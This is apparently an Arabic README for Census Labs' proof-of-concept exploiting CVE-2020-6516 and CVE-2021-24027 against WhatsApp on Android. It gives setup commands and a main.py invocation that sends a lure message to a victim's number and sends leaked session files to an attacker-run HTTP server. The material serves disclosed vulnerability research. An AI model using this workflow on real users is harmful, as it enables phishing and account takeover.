
PoC وأدوات لاستغلال CVE-2020-6516 (Chrome) وCVE-2021-24027 (WhatsApp)
يحتوي هذا المستودع على كود PoC وأدوات تم تطويرها كجزء من بحثنا [01] حول استغلال ثغرات رجل-في-القرص (MitD) عن بُعد على واتساب لنظام أندرويد. كما نوقشت في منشور مدونتنا، تم استخدام الكود والبرامج النصية الموجودة هنا لاستغلال CVE-2020-6516 (كروم) [02] و CVE-2021-24027 (واتساب) [03].
هيكل هذا المستودع كما يلي:
يحتوي الدليل الحالي على أداة بايثون التي تتعقب واتساب باستخدام Frida، وترسل رسالة التصيد التي تحمل حمولة تجاوز CORS، وتشغل خادم HTTP حيث يتم إرسال ملفات الجلسات المسربة من جهاز الضحية إليه.
يحتوي tls12_psk_extract/ على مجموعة أدوات MitM لبروتوكول TLS v1.2. انظر README.md في ذلك الدليل لمزيد من المعلومات حول كيفية إعداد بيئة MitM.
يحتوي watls_psk_extract/ على مجموعة أدوات MitM لبروتوكول TLS v1.3 (WaTLS). انظر README.md في ذلك الدليل لمزيد من المعلومات حول كيفية إعداد بيئة MitM.
يحتوي openssl-1.1.1f-patches/ على تصحيحات OpenSSL 1.1.1f اللازمة لإعداد بيئات MitM لـ TLS v1.2 و/أو TLS v1.3.
يحتوي secrets/ على نص برمجي بسيط للشل وتكوين OpenSSL لإنشاء شهادات مماثلة لتلك المستخدمة في البنية التحتية لـ TLS v1.3 في واتساب. يمكن استخدام المفاتيح والشهادات المُنشأة لكل من MitM في TLS v1.2 و v1.3.
أخيرًا وليس آخرًا، يحتوي misc/ على نصوص Frida متنوعة تم استخدامها لأغراض الاختبار والتصحيح أثناء بحثنا وقد تكون مفيدة للباحثين الآخرين.
لاختبار PoC، تحتاج إلى جهاز أندرويد يعمل بواسطة واتساب 2.20.206.22 [04]. على الرغم من أن كودنا تم تطويره في البداية للإصدار 2.19.355، وبالتالي يمكنك العثور على المقتطفات المقابلة تحت frida_scripts/، إلا أن هذا الإصدار يُعتبر الآن "منتهي الصلاحية" ولن يعمل.
قبل تشغيل PoC، من الجيد تجميع أقل قدر ممكن من كود DEX الخاص بواتساب. قد يساعد ذلك بشكل استباقي في تجنب مشكلات مثل عدم قدرة Frida على تتبع طرق معينة.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
قم بتنزيل خادم Frida وادفعه على جهاز أندرويد الخاص بك تحت /data/local/tmp، مع ترك اسم الملف الافتراضي كما هو. الإصدار 12.8.10 تم اختباره ومن المعروف أنه يعمل بشكل جيد. لا تتردد في تنزيل إصدار أحدث إذا كنت تفضل ذلك. سيكتشف PoC تلقائيًا ثنائي خادم Frida وسيحاول تشغيله مع وسائط سطر الأوامر المناسبة.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
المنطق الرئيسي للاستغلال مطبق في main.py. الملفان adb.py و frida_util.py هما نسختان مختصرتان من أدوات نستخدمها داخليًا لمهام تصحيح متنوعة على أجهزة أندرويد.
لتشغيل PoC، قم بتوصيل جهاز أندرويد بجهاز الكمبيوتر الخاص بك وشغل الأمر التالي:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
مفاتيح سطر الأوامر المُمررة إلى main.py هي التالية:
-s - الرقم التسلسلي لجهاز أندرويد المستخدم، في حالة امتلاك المهاجم لأجهزة أندرويد متعددة متصلة بجهاز الكمبيوتر الخاص بها.
-a و -p - العنوان والمنفذ على التوالي لخادم HTTP حيث سيتم إرسال الجلسات المسربة إليه.
-r - يوجه main.py لبدء خادم HTTP المذكور على الكمبيوتر المحلي. إذا لم تمرر -r، تأكد من تشغيل server.py على المضيف المحدد بواسطة -a و -p.
المعاملات الموضعية هي التالية:
images/guardian.jpg - صورة JPG سيتم استخدامها كمعاينة رسالة مزيفة، بهدف إغراء الضحية للنقر عليها.
[email protected] - رقم هاتف الضحية المحمول بصيغة واتساب. هذا عادة ما يكون رمز البلد متبوعًا برقم الهاتف المحمول. على سبيل المثال، الأرقام اليونانية (+30) تبدو كـ [email protected].
"Rush for Mediterranean gas" - سلسلة نصية عشوائية تُستخدم كعنوان للرسالة.
للحصول على مثال استخدام واقعي، ألقِ نظرة على منشور مدونتنا، وبشكل أكثر تحديدًا على مقاطع الفيديو التوضيحية.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027